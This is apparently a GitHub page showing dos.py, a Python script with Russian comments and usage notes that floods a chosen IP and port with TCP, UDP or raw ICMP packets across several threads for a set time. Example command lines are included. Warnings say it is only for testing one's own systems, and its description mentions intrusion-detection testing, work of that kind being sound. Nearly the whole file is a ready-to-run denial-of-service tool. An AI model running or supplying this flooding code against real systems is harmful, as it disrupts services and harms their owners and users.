-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathdos.py
More file actions
195 lines (162 loc) · 10 KB
/
Copy pathdos.py
File metadata and controls
195 lines (162 loc) · 10 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
ПРОСТОЙ СКРИПТ ДЛЯ DOS-АТАКИ (НЕ ИСПОЛЬЗОВАТЬ НА РЕАЛЬНЫХ ЦЕЛЯХ!)
==================================================================
КАК ПОЛЬЗОВАТЬСЯ ЭТИМ СКРИПТОМ:
------------------------------
1. Этот скрипт предназначен ТОЛЬКО для тестирования ваших собственных систем.
НИКОГДА не используйте его для атаки на чужие системы - это незаконно!
2. Запуск в командной строке или PowerShell:
----------------------------------------
Windows: py -3 dos.py -t IP_АДРЕС_ЦЕЛИ -p ПОРТ -a ТИП_АТАКИ -d ВРЕМЯ -c СОЕДИНЕНИЯ
Linux/Mac: python3 dos.py -t IP_АДРЕС_ЦЕЛИ -p ПОРТ -a ТИП_АТАКИ -d ВРЕМЯ -c СОЕДИНЕНИЯ
3. ПРИМЕРЫ КОМАНД:
-------------
# TCP-атака на порт 80 (веб-сервер) в течение 10 секунд с 2 соединениями:
py -3 dos.py -t 192.168.100.16 -p 80 -a tcp -d 10 -c 2
# UDP-атака на порт 53 (DNS) в течение 15 секунд с 3 соединениями:
py -3 dos.py -t 192.168.100.16 -p 53 -a udp -d 15 -c 3
# ICMP-атака (ping) в течение 20 секунд:
py -3 dos.py -t 192.168.100.16 -a icmp -d 20 -c 1
4. ПАРАМЕТРЫ КОМАНДЫ:
----------------
-t, --target : IP-адрес цели (обязательный параметр)
-p, --port : Порт для атаки (по умолчанию 80)
-a, --attack : Тип атаки: tcp, udp или icmp (по умолчанию tcp)
-d, --duration : Сколько секунд будет идти атака (по умолчанию 60)
-c, --connections: Сколько одновременных соединений (по умолчанию 1)
5. ВАЖНО:
-----
* Для ICMP-атаки требуются права администратора/root
* Если атака неудачна, проверьте:
- Правильно ли указан IP-адрес
- Открыт ли указанный порт на целевой машине
- Не блокирует ли ваш брандмауэр исходящие соединения
"""
import socket
import threading
import random
import time
import argparse
from datetime import datetime
def print_status(sent, target):
"""Выводит на экран информацию о количестве отправленных пакетов"""
print(f"[{datetime.now().strftime('%H:%M:%S')}] Отправлено {sent} пакетов на {target}")
def dos_attack(target_ip, target_port, attack_type="tcp", duration=60):
"""
Выполняет DOS-атаку на указанный IP-адрес
Параметры:
target_ip - IP-адрес цели
target_port - порт на целевой машине
attack_type - тип атаки (tcp, udp, icmp)
duration - продолжительность атаки в секундах
"""
total_packets = 0
successful_packets = 0
failed_packets = 0
# Определим время окончания атаки
end_time = time.time() + duration
print(f"Начало DOS-атаки на {target_ip}:{target_port} используя {attack_type.upper()}")
try:
while time.time() < end_time:
if attack_type.lower() == "tcp":
# TCP атака
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
try:
s.connect((target_ip, target_port))
s.send(b"X" * random.randint(1024, 2048))
total_packets += 1
successful_packets += 1
except socket.timeout:
total_packets += 1
failed_packets += 1
if failed_packets % 10 == 0:
print(f"Соединение с {target_ip}:{target_port} не удалось (таймаут)")
except socket.error as e:
total_packets += 1
failed_packets += 1
if failed_packets % 10 == 0:
print(f"Ошибка соединения с {target_ip}:{target_port}: {e}")
finally:
s.close()
elif attack_type.lower() == "udp":
# UDP атака
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
data = b"X" * random.randint(1024, 65500)
try:
s.sendto(data, (target_ip, target_port))
total_packets += 1
successful_packets += 1
except socket.error as e:
total_packets += 1
failed_packets += 1
if failed_packets % 10 == 0:
print(f"Ошибка отправки UDP пакета на {target_ip}:{target_port}: {e}")
finally:
s.close()
elif attack_type.lower() == "icmp":
# ICMP flood (ping)
try:
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
s.sendto(b"X" * 56, (target_ip, 0))
total_packets += 1
successful_packets += 1
except PermissionError:
print("ICMP атака требует прав администратора")
print("Запустите скрипт от имени администратора (с правами админа):")
print("В Windows: Правый клик на командной строке -> Запуск от имени администратора")
print("В Linux/Mac: sudo python3 dos.py ...")
return
except socket.error as e:
total_packets += 1
failed_packets += 1
if failed_packets % 10 == 0:
print(f"Ошибка отправки ICMP пакета на {target_ip}: {e}")
finally:
s.close()
# Выводим статус каждые 100 пакетов или каждые 5 секунд
if total_packets % 100 == 0 or (total_packets > 0 and time.time() % 5 < 0.1):
print_status(total_packets, f"{target_ip}:{target_port} (успешно: {successful_packets}, неудачно: {failed_packets})")
# Небольшая задержка для уменьшения нагрузки на систему
time.sleep(0.01)
except KeyboardInterrupt:
print("Атака остановлена пользователем (нажатием Ctrl+C)")
print(f"Атака завершена. Всего отправлено {total_packets} пакетов (успешно: {successful_packets}, неудачно: {failed_packets})")
# Если скрипт запущен напрямую (а не импортирован)
if __name__ == "__main__":
# Создаем парсер аргументов командной строки
parser = argparse.ArgumentParser(description="Простой скрипт DOS-атаки для тестирования систем обнаружения вторжений")
# Добавляем аргументы
parser.add_argument("-t", "--target", required=True, help="Целевой IP-адрес")
parser.add_argument("-p", "--port", type=int, default=80, help="Целевой порт (по умолчанию 80)")
parser.add_argument("-a", "--attack", choices=["tcp", "udp", "icmp"], default="tcp", help="Тип атаки (tcp, udp, icmp)")
parser.add_argument("-d", "--duration", type=int, default=60, help="Продолжительность атаки в секундах (по умолчанию 60)")
parser.add_argument("-c", "--connections", type=int, default=1, help="Количество одновременных соединений (по умолчанию 1)")
# Разбираем аргументы
args = parser.parse_args()
# Проверяем соединения и предупреждаем пользователя
if args.connections > 10:
print(f"ВНИМАНИЕ: Вы запускаете {args.connections} потоков. Это может привести к высокой нагрузке на вашу систему.")
input("Нажмите Enter для продолжения или Ctrl+C для отмены...")
# Выводим информацию о запущенной атаке
print(f"==================================================")
print(f"Запуск DOS-атаки со следующими параметрами:")
print(f"Цель: {args.target}")
print(f"Порт: {args.port}")
print(f"Тип атаки: {args.attack}")
print(f"Продолжительность: {args.duration} секунд")
print(f"Соединения: {args.connections}")
print(f"==================================================")
print(f"[ПРЕДУПРЕЖДЕНИЕ] Используйте только для тестирования своих систем!")
print(f"==================================================")
# Запускаем несколько потоков для большей нагрузки
threads = []
for i in range(args.connections):
t = threading.Thread(target=dos_attack, args=(args.target, args.port, args.attack, args.duration))
threads.append(t)
t.start()
# Ждем завершения всех потоков
for t in threads:
t.join()